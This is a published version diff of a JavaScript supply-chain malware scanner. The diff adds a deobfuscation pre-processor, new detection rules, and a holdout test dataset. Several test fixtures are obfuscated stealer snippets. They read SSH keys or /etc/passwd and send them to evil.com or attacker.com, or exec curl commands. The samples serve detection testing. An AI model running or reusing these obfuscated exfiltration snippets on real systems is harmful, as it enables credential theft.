muaddib-scanner 2.2.4 → 2.2.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/muaddib.js +6 -1
- package/datasets/holdout-v4/atob-eval/index.js +2 -0
- package/datasets/holdout-v4/atob-eval/package.json +5 -0
- package/datasets/holdout-v4/base64-require/index.js +3 -0
- package/datasets/holdout-v4/base64-require/package.json +5 -0
- package/datasets/holdout-v4/charcode-fetch/index.js +3 -0
- package/datasets/holdout-v4/charcode-fetch/package.json +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/index.js +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/package.json +5 -0
- package/datasets/holdout-v4/concat-env-steal/index.js +4 -0
- package/datasets/holdout-v4/concat-env-steal/package.json +5 -0
- package/datasets/holdout-v4/double-decode-exfil/index.js +4 -0
- package/datasets/holdout-v4/double-decode-exfil/package.json +5 -0
- package/datasets/holdout-v4/hex-array-exec/index.js +3 -0
- package/datasets/holdout-v4/hex-array-exec/package.json +5 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +10 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +5 -0
- package/datasets/holdout-v4/nested-base64-concat/index.js +4 -0
- package/datasets/holdout-v4/nested-base64-concat/package.json +5 -0
- package/datasets/holdout-v4/template-literal-hide/index.js +3 -0
- package/datasets/holdout-v4/template-literal-hide/package.json +5 -0
- package/package.json +1 -1
- package/src/index.js +6 -2
- package/src/response/playbooks.js +5 -0
- package/src/rules/index.js +13 -0
- package/src/scanner/ast.js +107 -24
- package/src/scanner/dataflow.js +18 -1
- package/src/scanner/deobfuscate.js +557 -0
package/bin/muaddib.js
CHANGED
|
@@ -31,6 +31,7 @@ let temporalPublishMode = false;
|
|
|
31
31
|
let temporalMaintainerMode = false;
|
|
32
32
|
let temporalFullMode = false;
|
|
33
33
|
let breakdownMode = false;
|
|
34
|
+
let noDeobfuscate = false;
|
|
34
35
|
let feedLimit = null;
|
|
35
36
|
let feedSeverity = null;
|
|
36
37
|
let feedSince = null;
|
|
@@ -110,6 +111,8 @@ for (let i = 0; i < options.length; i++) {
|
|
|
110
111
|
temporalMaintainerMode = true;
|
|
111
112
|
} else if (options[i] === '--breakdown') {
|
|
112
113
|
breakdownMode = true;
|
|
114
|
+
} else if (options[i] === '--no-deobfuscate') {
|
|
115
|
+
noDeobfuscate = true;
|
|
113
116
|
} else if (options[i] === '--temporal') {
|
|
114
117
|
temporalMode = true;
|
|
115
118
|
} else if (options[i] === '--limit') {
|
|
@@ -395,6 +398,7 @@ const helpText = `
|
|
|
395
398
|
--temporal-maintainer Detect maintainer changes (new maintainer, account takeover)
|
|
396
399
|
--temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
|
|
397
400
|
--no-canary Disable honey token injection in sandbox
|
|
401
|
+
--no-deobfuscate Disable deobfuscation pre-processing
|
|
398
402
|
--exclude [dir] Exclude directory from scan (repeatable)
|
|
399
403
|
--limit [n] Limit feed entries (default: 50)
|
|
400
404
|
--severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
|
|
@@ -435,7 +439,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
|
|
|
435
439
|
temporalMaintainer: temporalMaintainerMode || temporalFullMode,
|
|
436
440
|
exclude: excludeDirs,
|
|
437
441
|
entropyThreshold: entropyThreshold,
|
|
438
|
-
breakdown: breakdownMode
|
|
442
|
+
breakdown: breakdownMode,
|
|
443
|
+
noDeobfuscate: noDeobfuscate
|
|
439
444
|
}).then(exitCode => {
|
|
440
445
|
process.exit(exitCode);
|
|
441
446
|
}).catch(err => {
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
// Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
|
|
2
|
+
const h = String.fromCharCode(...[111, 115]);
|
|
3
|
+
const m = require(h).homedir();
|
|
4
|
+
const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
|
|
5
|
+
require('https').request('https://evil.com').write(f);
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
// Holdout v4 — double-decode-exfil: double base64 encoding
|
|
2
|
+
const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
|
|
3
|
+
const proc = require(modName);
|
|
4
|
+
proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');
|
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
// Holdout v4 — hex-array-exec: shell command hidden in hex array
|
|
2
|
+
const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
|
|
3
|
+
require('child_process').exec(cmd);
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
// Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
|
|
2
|
+
// Module name via charCode
|
|
3
|
+
const modName = String.fromCharCode(102, 115);
|
|
4
|
+
// Path via base64
|
|
5
|
+
const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
|
|
6
|
+
// URL via concat
|
|
7
|
+
const host = 'https://' + 'att' + 'acker' + '.com';
|
|
8
|
+
|
|
9
|
+
const data = require(modName).readFileSync(credPath, 'utf8');
|
|
10
|
+
require('https').request(host, { method: 'POST' }, () => {}).write(data);
|
package/package.json
CHANGED
package/src/index.js
CHANGED
|
@@ -19,6 +19,7 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
|
|
|
19
19
|
const { ensureIOCs } = require('./ioc/bootstrap.js');
|
|
20
20
|
const { scanEntropy } = require('./scanner/entropy.js');
|
|
21
21
|
const { scanAIConfig } = require('./scanner/ai-config.js');
|
|
22
|
+
const { deobfuscate } = require('./scanner/deobfuscate.js');
|
|
22
23
|
const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
23
24
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
24
25
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
@@ -222,6 +223,9 @@ async function run(targetPath, options = {}) {
|
|
|
222
223
|
spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
|
|
223
224
|
}
|
|
224
225
|
|
|
226
|
+
// Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
|
|
227
|
+
const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
|
|
228
|
+
|
|
225
229
|
// Parallel execution of all independent scanners
|
|
226
230
|
const [
|
|
227
231
|
packageThreats,
|
|
@@ -240,11 +244,11 @@ async function run(targetPath, options = {}) {
|
|
|
240
244
|
] = await Promise.all([
|
|
241
245
|
scanPackageJson(targetPath),
|
|
242
246
|
scanShellScripts(targetPath),
|
|
243
|
-
analyzeAST(targetPath),
|
|
247
|
+
analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
|
|
244
248
|
Promise.resolve(detectObfuscation(targetPath)),
|
|
245
249
|
scanDependencies(targetPath),
|
|
246
250
|
scanHashes(targetPath),
|
|
247
|
-
analyzeDataFlow(targetPath),
|
|
251
|
+
analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
|
|
248
252
|
scanTyposquatting(targetPath),
|
|
249
253
|
Promise.resolve(scanGitHubActions(targetPath)),
|
|
250
254
|
Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),
|
|
@@ -318,6 +318,11 @@ const PLAYBOOKS = {
|
|
|
318
318
|
'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
|
|
319
319
|
'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
|
|
320
320
|
'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
|
|
321
|
+
|
|
322
|
+
staged_eval_decode:
|
|
323
|
+
'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
|
|
324
|
+
'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
|
|
325
|
+
'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
|
|
321
326
|
};
|
|
322
327
|
|
|
323
328
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -585,6 +585,19 @@ const RULES = {
|
|
|
585
585
|
mitre: 'T1027.003'
|
|
586
586
|
},
|
|
587
587
|
|
|
588
|
+
staged_eval_decode: {
|
|
589
|
+
id: 'MUADDIB-AST-021',
|
|
590
|
+
name: 'Staged Eval Decode',
|
|
591
|
+
severity: 'CRITICAL',
|
|
592
|
+
confidence: 'high',
|
|
593
|
+
description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
|
|
594
|
+
references: [
|
|
595
|
+
'https://attack.mitre.org/techniques/T1140/',
|
|
596
|
+
'https://attack.mitre.org/techniques/T1059/007/'
|
|
597
|
+
],
|
|
598
|
+
mitre: 'T1140'
|
|
599
|
+
},
|
|
600
|
+
|
|
588
601
|
env_charcode_reconstruction: {
|
|
589
602
|
id: 'MUADDIB-AST-018',
|
|
590
603
|
name: 'Environment Variable Key Reconstruction',
|
package/src/scanner/ast.js
CHANGED
|
@@ -92,22 +92,22 @@ const SANDBOX_INDICATORS = [
|
|
|
92
92
|
'/proc/self/cgroup'
|
|
93
93
|
];
|
|
94
94
|
|
|
95
|
-
async function analyzeAST(targetPath) {
|
|
95
|
+
async function analyzeAST(targetPath, options = {}) {
|
|
96
96
|
const threats = [];
|
|
97
97
|
const files = findJsFiles(targetPath);
|
|
98
98
|
|
|
99
99
|
for (const file of files) {
|
|
100
100
|
const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
|
|
101
|
-
|
|
101
|
+
|
|
102
102
|
if (EXCLUDED_FILES.includes(relativePath)) {
|
|
103
103
|
continue;
|
|
104
104
|
}
|
|
105
|
-
|
|
105
|
+
|
|
106
106
|
// Ignore files in dev folders
|
|
107
107
|
if (isDevFile(relativePath)) {
|
|
108
108
|
continue;
|
|
109
109
|
}
|
|
110
|
-
|
|
110
|
+
|
|
111
111
|
try {
|
|
112
112
|
const stat = fs.statSync(file);
|
|
113
113
|
if (stat.size > MAX_FILE_SIZE) continue;
|
|
@@ -119,8 +119,26 @@ async function analyzeAST(targetPath) {
|
|
|
119
119
|
} catch {
|
|
120
120
|
continue;
|
|
121
121
|
}
|
|
122
|
+
|
|
123
|
+
// Analyze original code first (preserves obfuscation-detection rules)
|
|
122
124
|
const fileThreats = analyzeFile(content, file, targetPath);
|
|
123
125
|
threats.push(...fileThreats);
|
|
126
|
+
|
|
127
|
+
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
128
|
+
if (typeof options.deobfuscate === 'function') {
|
|
129
|
+
try {
|
|
130
|
+
const result = options.deobfuscate(content);
|
|
131
|
+
if (result.transforms.length > 0) {
|
|
132
|
+
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
133
|
+
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
134
|
+
for (const dt of deobThreats) {
|
|
135
|
+
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
136
|
+
threats.push(dt);
|
|
137
|
+
}
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
} catch { /* deobfuscation failed — skip */ }
|
|
141
|
+
}
|
|
124
142
|
}
|
|
125
143
|
|
|
126
144
|
return threats;
|
|
@@ -137,6 +155,34 @@ function hasOnlyStringLiteralArgs(node) {
|
|
|
137
155
|
return node.arguments.every(arg => arg.type === 'Literal' && typeof arg.value === 'string');
|
|
138
156
|
}
|
|
139
157
|
|
|
158
|
+
/**
|
|
159
|
+
* Returns true if a node is a decode call: atob(str) or Buffer.from(str,'base64').toString()
|
|
160
|
+
* Used to detect staged eval/Function decode patterns.
|
|
161
|
+
*/
|
|
162
|
+
function hasDecodeArg(node) {
|
|
163
|
+
if (!node || typeof node !== 'object') return false;
|
|
164
|
+
// atob('...')
|
|
165
|
+
if (node.type === 'CallExpression' &&
|
|
166
|
+
node.callee?.type === 'Identifier' && node.callee.name === 'atob') {
|
|
167
|
+
return true;
|
|
168
|
+
}
|
|
169
|
+
// Buffer.from('...', 'base64').toString()
|
|
170
|
+
if (node.type === 'CallExpression' &&
|
|
171
|
+
node.callee?.type === 'MemberExpression' &&
|
|
172
|
+
node.callee.property?.name === 'toString') {
|
|
173
|
+
const inner = node.callee.object;
|
|
174
|
+
if (inner?.type === 'CallExpression' &&
|
|
175
|
+
inner.callee?.type === 'MemberExpression' &&
|
|
176
|
+
inner.callee.object?.name === 'Buffer' &&
|
|
177
|
+
inner.callee.property?.name === 'from' &&
|
|
178
|
+
inner.arguments?.length >= 2 &&
|
|
179
|
+
inner.arguments[1]?.value === 'base64') {
|
|
180
|
+
return true;
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
return false;
|
|
184
|
+
}
|
|
185
|
+
|
|
140
186
|
/**
|
|
141
187
|
* Checks if an AST subtree contains decode patterns (base64, atob, fromCharCode).
|
|
142
188
|
*/
|
|
@@ -391,6 +437,23 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
391
437
|
}
|
|
392
438
|
}
|
|
393
439
|
|
|
440
|
+
// Detect chained: require(non-literal).exec(...) — direct dynamic require + exec
|
|
441
|
+
if ((execName || memberExec) && node.callee.type === 'MemberExpression' &&
|
|
442
|
+
node.callee.object?.type === 'CallExpression') {
|
|
443
|
+
const innerCall = node.callee.object;
|
|
444
|
+
const innerName = getCallName(innerCall);
|
|
445
|
+
if (innerName === 'require' && innerCall.arguments.length > 0 &&
|
|
446
|
+
innerCall.arguments[0]?.type !== 'Literal') {
|
|
447
|
+
const method = execName || memberExec;
|
|
448
|
+
threats.push({
|
|
449
|
+
type: 'dynamic_require_exec',
|
|
450
|
+
severity: 'CRITICAL',
|
|
451
|
+
message: `${method}() chained on dynamic require() — obfuscated module + command execution.`,
|
|
452
|
+
file: path.relative(basePath, filePath)
|
|
453
|
+
});
|
|
454
|
+
}
|
|
455
|
+
}
|
|
456
|
+
|
|
394
457
|
// Detect sandbox/container evasion: fs.accessSync('/.dockerenv'), fs.existsSync('/.dockerenv'), etc.
|
|
395
458
|
if (node.callee.type === 'MemberExpression' && node.callee.property?.type === 'Identifier') {
|
|
396
459
|
const fsMethod = node.callee.property.name;
|
|
@@ -608,27 +671,47 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
608
671
|
|
|
609
672
|
if (callName === 'eval') {
|
|
610
673
|
hasEvalInFile = true;
|
|
611
|
-
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
:
|
|
618
|
-
|
|
619
|
-
}
|
|
674
|
+
// Detect staged eval decode: eval(atob(...)) or eval(Buffer.from(...).toString())
|
|
675
|
+
if (node.arguments.length === 1 && hasDecodeArg(node.arguments[0])) {
|
|
676
|
+
threats.push({
|
|
677
|
+
type: 'staged_eval_decode',
|
|
678
|
+
severity: 'CRITICAL',
|
|
679
|
+
message: 'eval() with decode argument (atob/Buffer.from base64) — staged payload execution.',
|
|
680
|
+
file: path.relative(basePath, filePath)
|
|
681
|
+
});
|
|
682
|
+
} else {
|
|
683
|
+
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
684
|
+
threats.push({
|
|
685
|
+
type: 'dangerous_call_eval',
|
|
686
|
+
severity: isConstant ? 'LOW' : 'HIGH',
|
|
687
|
+
message: isConstant
|
|
688
|
+
? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
|
|
689
|
+
: 'Dangerous call "eval" with dynamic expression detected.',
|
|
690
|
+
file: path.relative(basePath, filePath)
|
|
691
|
+
});
|
|
692
|
+
}
|
|
620
693
|
} else if (callName === 'Function') {
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
|
|
631
|
-
|
|
694
|
+
// Detect staged Function decode: new Function(atob(...))
|
|
695
|
+
if (node.arguments.length >= 1 && hasDecodeArg(node.arguments[node.arguments.length - 1])) {
|
|
696
|
+
threats.push({
|
|
697
|
+
type: 'staged_eval_decode',
|
|
698
|
+
severity: 'CRITICAL',
|
|
699
|
+
message: 'Function() with decode argument (atob/Buffer.from base64) — staged payload execution.',
|
|
700
|
+
file: path.relative(basePath, filePath)
|
|
701
|
+
});
|
|
702
|
+
} else {
|
|
703
|
+
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
704
|
+
// Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
|
|
705
|
+
// Common in template engines (lodash, handlebars) and globalThis polyfills.
|
|
706
|
+
threats.push({
|
|
707
|
+
type: 'dangerous_call_function',
|
|
708
|
+
severity: isConstant ? 'LOW' : 'MEDIUM',
|
|
709
|
+
message: isConstant
|
|
710
|
+
? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
|
|
711
|
+
: 'Function() with dynamic expression (template/factory pattern).',
|
|
712
|
+
file: path.relative(basePath, filePath)
|
|
713
|
+
});
|
|
714
|
+
}
|
|
632
715
|
}
|
|
633
716
|
},
|
|
634
717
|
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -6,7 +6,7 @@ const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
|
|
|
6
6
|
|
|
7
7
|
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
8
8
|
|
|
9
|
-
async function analyzeDataFlow(targetPath) {
|
|
9
|
+
async function analyzeDataFlow(targetPath, options = {}) {
|
|
10
10
|
const threats = [];
|
|
11
11
|
const files = findJsFiles(targetPath);
|
|
12
12
|
|
|
@@ -35,8 +35,25 @@ async function analyzeDataFlow(targetPath) {
|
|
|
35
35
|
continue;
|
|
36
36
|
}
|
|
37
37
|
|
|
38
|
+
// Analyze original code first (preserves obfuscation-detection rules)
|
|
38
39
|
const fileThreats = analyzeFile(content, file, targetPath);
|
|
39
40
|
threats.push(...fileThreats);
|
|
41
|
+
|
|
42
|
+
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
43
|
+
if (typeof options.deobfuscate === 'function') {
|
|
44
|
+
try {
|
|
45
|
+
const result = options.deobfuscate(content);
|
|
46
|
+
if (result.transforms.length > 0) {
|
|
47
|
+
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
48
|
+
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
49
|
+
for (const dt of deobThreats) {
|
|
50
|
+
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
51
|
+
threats.push(dt);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
} catch { /* deobfuscation failed — skip */ }
|
|
56
|
+
}
|
|
40
57
|
}
|
|
41
58
|
|
|
42
59
|
return threats;
|
|
@@ -0,0 +1,557 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const acorn = require('acorn');
|
|
4
|
+
const walk = require('acorn-walk');
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Lightweight static deobfuscation pre-processor.
|
|
8
|
+
* Resolves common JS obfuscation patterns via AST rewriting (no eval).
|
|
9
|
+
*
|
|
10
|
+
* @param {string} sourceCode — raw JS source
|
|
11
|
+
* @returns {{ code: string, transforms: Array<{type: string, start: number, end: number, before: string, after: string}> }}
|
|
12
|
+
*/
|
|
13
|
+
function deobfuscate(sourceCode) {
|
|
14
|
+
const transforms = [];
|
|
15
|
+
|
|
16
|
+
// Parse AST — if parsing fails, return source unchanged (fail-safe)
|
|
17
|
+
let ast;
|
|
18
|
+
try {
|
|
19
|
+
ast = acorn.parse(sourceCode, {
|
|
20
|
+
ecmaVersion: 2024,
|
|
21
|
+
sourceType: 'module',
|
|
22
|
+
allowHashBang: true,
|
|
23
|
+
ranges: true
|
|
24
|
+
});
|
|
25
|
+
} catch {
|
|
26
|
+
return { code: sourceCode, transforms };
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
// Collect replacements as { start, end, value, type, before }
|
|
30
|
+
const replacements = [];
|
|
31
|
+
|
|
32
|
+
walk.simple(ast, {
|
|
33
|
+
// ---- 1. STRING CONCAT FOLDING ----
|
|
34
|
+
// 'ch' + 'il' + 'd_' + 'process' → 'child_process'
|
|
35
|
+
BinaryExpression(node) {
|
|
36
|
+
if (node.operator !== '+') return;
|
|
37
|
+
const folded = tryFoldConcat(node);
|
|
38
|
+
if (folded === null) return;
|
|
39
|
+
// Avoid folding single literals (no transformation needed)
|
|
40
|
+
if (node.left.type === 'Literal' && node.right.type === 'Literal' &&
|
|
41
|
+
typeof node.left.value === 'string' && typeof node.right.value === 'string') {
|
|
42
|
+
// Simple two-literal concat — always fold
|
|
43
|
+
} else if (node.type === 'BinaryExpression') {
|
|
44
|
+
// Nested concat — only fold if top-level (not already inside a folded parent)
|
|
45
|
+
// We check this by not folding if parent already covers this range
|
|
46
|
+
}
|
|
47
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
48
|
+
const after = quoteString(folded);
|
|
49
|
+
replacements.push({
|
|
50
|
+
start: node.start,
|
|
51
|
+
end: node.end,
|
|
52
|
+
value: after,
|
|
53
|
+
type: 'string_concat',
|
|
54
|
+
before
|
|
55
|
+
});
|
|
56
|
+
},
|
|
57
|
+
|
|
58
|
+
// ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
|
|
59
|
+
CallExpression(node) {
|
|
60
|
+
// String.fromCharCode(99, 104, 105, 108, 100) → "child"
|
|
61
|
+
if (isStringFromCharCode(node)) {
|
|
62
|
+
const nums = extractNumericArgs(node);
|
|
63
|
+
if (nums === null) return;
|
|
64
|
+
try {
|
|
65
|
+
const decoded = String.fromCharCode(...nums);
|
|
66
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
67
|
+
const after = quoteString(decoded);
|
|
68
|
+
replacements.push({
|
|
69
|
+
start: node.start,
|
|
70
|
+
end: node.end,
|
|
71
|
+
value: after,
|
|
72
|
+
type: 'charcode',
|
|
73
|
+
before
|
|
74
|
+
});
|
|
75
|
+
} catch { /* invalid char codes — skip */ }
|
|
76
|
+
return;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// Buffer.from('...', 'base64').toString() → decoded string
|
|
80
|
+
if (isBufferBase64ToString(node)) {
|
|
81
|
+
const b64str = extractBufferBase64Arg(node);
|
|
82
|
+
if (b64str === null) return;
|
|
83
|
+
try {
|
|
84
|
+
const decoded = Buffer.from(b64str, 'base64').toString();
|
|
85
|
+
// Sanity: only replace if decoded is printable ASCII/UTF-8
|
|
86
|
+
if (!isPrintable(decoded)) return;
|
|
87
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
88
|
+
const after = quoteString(decoded);
|
|
89
|
+
replacements.push({
|
|
90
|
+
start: node.start,
|
|
91
|
+
end: node.end,
|
|
92
|
+
value: after,
|
|
93
|
+
type: 'base64',
|
|
94
|
+
before
|
|
95
|
+
});
|
|
96
|
+
} catch { /* decode failure — skip */ }
|
|
97
|
+
return;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// atob('...') → decoded string
|
|
101
|
+
if (isAtobCall(node)) {
|
|
102
|
+
const b64str = node.arguments[0]?.value;
|
|
103
|
+
if (typeof b64str !== 'string') return;
|
|
104
|
+
try {
|
|
105
|
+
const decoded = Buffer.from(b64str, 'base64').toString();
|
|
106
|
+
if (!isPrintable(decoded)) return;
|
|
107
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
108
|
+
const after = quoteString(decoded);
|
|
109
|
+
replacements.push({
|
|
110
|
+
start: node.start,
|
|
111
|
+
end: node.end,
|
|
112
|
+
value: after,
|
|
113
|
+
type: 'base64',
|
|
114
|
+
before
|
|
115
|
+
});
|
|
116
|
+
} catch { /* skip */ }
|
|
117
|
+
return;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// ---- 4. HEX ARRAY MAP ----
|
|
121
|
+
// [0x63, 0x68, ...].map(c => String.fromCharCode(c)).join('')
|
|
122
|
+
const hexResult = tryResolveHexArrayMap(node, sourceCode);
|
|
123
|
+
if (hexResult !== null) {
|
|
124
|
+
replacements.push(hexResult);
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
// De-duplicate: nested BinaryExpression nodes produce overlapping replacements.
|
|
130
|
+
// Keep only the outermost (widest) replacement for each overlapping range.
|
|
131
|
+
replacements.sort((a, b) => a.start - b.start || b.end - a.end);
|
|
132
|
+
const filtered = [];
|
|
133
|
+
let lastEnd = -1;
|
|
134
|
+
for (const r of replacements) {
|
|
135
|
+
if (r.start < lastEnd) continue; // nested inside a wider replacement — skip
|
|
136
|
+
filtered.push(r);
|
|
137
|
+
lastEnd = r.end;
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// Apply replacements from end to start to preserve positions
|
|
141
|
+
filtered.sort((a, b) => b.start - a.start);
|
|
142
|
+
|
|
143
|
+
let code = sourceCode;
|
|
144
|
+
for (const r of filtered) {
|
|
145
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
146
|
+
transforms.push({
|
|
147
|
+
type: r.type,
|
|
148
|
+
start: r.start,
|
|
149
|
+
end: r.end,
|
|
150
|
+
before: r.before,
|
|
151
|
+
after: r.value
|
|
152
|
+
});
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
// Reverse transforms so they're in source order (start ascending)
|
|
156
|
+
transforms.reverse();
|
|
157
|
+
|
|
158
|
+
// ---- PHASE 2: CONST PROPAGATION ----
|
|
159
|
+
// If phase 1 produced transforms, re-parse and propagate const string assignments.
|
|
160
|
+
// const a = 'child_'; const b = 'process'; require(a + b) → require('child_' + 'process') → require('child_process')
|
|
161
|
+
if (transforms.length > 0) {
|
|
162
|
+
const phase2 = propagateConsts(code);
|
|
163
|
+
if (phase2.transforms.length > 0) {
|
|
164
|
+
code = phase2.code;
|
|
165
|
+
transforms.push(...phase2.transforms);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
return { code, transforms };
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
/**
|
|
173
|
+
* Phase 2: Propagate const string literal assignments into identifier references,
|
|
174
|
+
* then fold any resulting string concatenations.
|
|
175
|
+
*/
|
|
176
|
+
function propagateConsts(sourceCode) {
|
|
177
|
+
const transforms = [];
|
|
178
|
+
let ast;
|
|
179
|
+
try {
|
|
180
|
+
ast = acorn.parse(sourceCode, {
|
|
181
|
+
ecmaVersion: 2024,
|
|
182
|
+
sourceType: 'module',
|
|
183
|
+
allowHashBang: true,
|
|
184
|
+
ranges: true
|
|
185
|
+
});
|
|
186
|
+
} catch {
|
|
187
|
+
return { code: sourceCode, transforms };
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
// Collect const declarations: name → { value, initStart, initEnd }
|
|
191
|
+
const constMap = new Map();
|
|
192
|
+
// Track which names are assigned more than once (not safe to propagate)
|
|
193
|
+
const reassigned = new Set();
|
|
194
|
+
|
|
195
|
+
walk.simple(ast, {
|
|
196
|
+
VariableDeclaration(node) {
|
|
197
|
+
if (node.kind !== 'const') return;
|
|
198
|
+
for (const decl of node.declarations) {
|
|
199
|
+
if (decl.id?.type !== 'Identifier') continue;
|
|
200
|
+
if (!decl.init) continue;
|
|
201
|
+
if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
|
|
202
|
+
constMap.set(decl.id.name, {
|
|
203
|
+
value: decl.init.value,
|
|
204
|
+
declStart: decl.init.start,
|
|
205
|
+
declEnd: decl.init.end
|
|
206
|
+
});
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
},
|
|
210
|
+
AssignmentExpression(node) {
|
|
211
|
+
if (node.left?.type === 'Identifier') {
|
|
212
|
+
reassigned.add(node.left.name);
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
});
|
|
216
|
+
|
|
217
|
+
// Remove reassigned names from constMap (not safe)
|
|
218
|
+
for (const name of reassigned) {
|
|
219
|
+
constMap.delete(name);
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
if (constMap.size === 0) {
|
|
223
|
+
return { code: sourceCode, transforms };
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
// Find all Identifier references to propagate (excluding declarations and property names)
|
|
227
|
+
const replacements = [];
|
|
228
|
+
walk.simple(ast, {
|
|
229
|
+
Identifier(node) {
|
|
230
|
+
if (!constMap.has(node.name)) return;
|
|
231
|
+
const info = constMap.get(node.name);
|
|
232
|
+
// Skip the declaration site itself
|
|
233
|
+
if (node.start === info.declStart || (node.start >= info.declStart && node.end <= info.declEnd)) return;
|
|
234
|
+
replacements.push({
|
|
235
|
+
start: node.start,
|
|
236
|
+
end: node.end,
|
|
237
|
+
value: quoteString(info.value),
|
|
238
|
+
type: 'const_propagation',
|
|
239
|
+
before: sourceCode.slice(node.start, node.end)
|
|
240
|
+
});
|
|
241
|
+
}
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
// Filter: skip property access identifiers (obj.prop — prop is not a variable ref)
|
|
245
|
+
// We detect this by checking if the identifier is a property of a MemberExpression
|
|
246
|
+
const propPositions = new Set();
|
|
247
|
+
walk.simple(ast, {
|
|
248
|
+
MemberExpression(node) {
|
|
249
|
+
if (!node.computed && node.property?.type === 'Identifier') {
|
|
250
|
+
propPositions.add(node.property.start);
|
|
251
|
+
}
|
|
252
|
+
},
